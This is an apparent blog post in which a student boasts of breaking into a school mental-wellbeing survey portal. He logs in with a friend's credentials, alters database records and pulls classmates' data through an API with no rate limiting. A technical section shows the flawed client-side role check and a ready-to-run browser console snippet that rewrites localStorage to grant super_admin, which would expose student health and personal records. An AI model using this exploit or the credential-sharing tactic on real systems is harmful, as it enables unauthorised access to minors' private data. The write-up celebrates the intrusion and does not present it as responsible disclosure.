I got something 4u

Dashboard

Its Sept 22 and i am seating on my chair wondering how to be like someone else but wait Sir send a message to login on a site for survey with a excel sheet that contains email id,phone no, Name, Class, Roll No of all my CLASSMATES but we all have to reset it to make a password to login there Big Auth Stuff.

Get B127’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

What! my email was admin@immortaladi.com a domain that i get for $1 from github student program and now it is expired but wait is there any other option, i ask for default password in group but luckily no one knows what the curiosity it is i ask for one of my friend for his email and password cause i analyze whole website how it operates there is one major flow that i notice this website don’t validates client side validation that means if someone says that i am admin then i am.

I got one email password also i can use someone else Token to access it but why i need to do that if i have such friends now i have to correct my email address in their database, the next step is sending request to API to get users data and boom! what ? there is no rate limiting anyone can send multiple request for data the one thing is they must be logged in hun and rest is mentioned here .

FOR TECH PEOPLE

Application Profile

• Platform: MWB (Mental Well-Being LMS / School Portal)
• Backend API Base: https://xyz.stackpro.in/api
• Core Libraries: React 18.3, React Router v6 / Remix Router, Zustand (with persist middleware), Lucide React.
• Roles Defined (Te):
• super_admin
• school_admin
• counsellor
• principal
• faculty
• student
• parent

100% Client-Side Super Admin Privilege Escalation (Critical)

if ((l?.role) === Te.SUPER_ADMIN) {
  const f = {
    survey_access: true, survey_creation_access: true, resourcerepo_access: true,
    chatbot_access: true, course_access: true, thoughtspace_access: true,
    post_on_thoughtSpace: true, rule_engine_access: true, ehr_access: true,
    mood_checker_access: true, parent_access: true
  };
  return t(f), c(f), r(!1), f;
}
const u = useCallback(h => (l?.role) === Te.SUPER_ADMIN ? true : (e?.[h]) ?? false, [e, l?.role]);

• The Fault: The frontend relies exclusively on user.role stored in localStorage under "auth-storage".
• Exploitation: Any authenticated student or faculty member can open their browser DevTools Console and execute:

// If you want another role just replace super_admin to role that u want.

const auth = JSON.parse(localStorage.getItem("auth-storage"));
auth.state.user.role = "super_admin";
localStorage.setItem("auth-storage", JSON.stringify(auth));
location.reload();

Finally I did it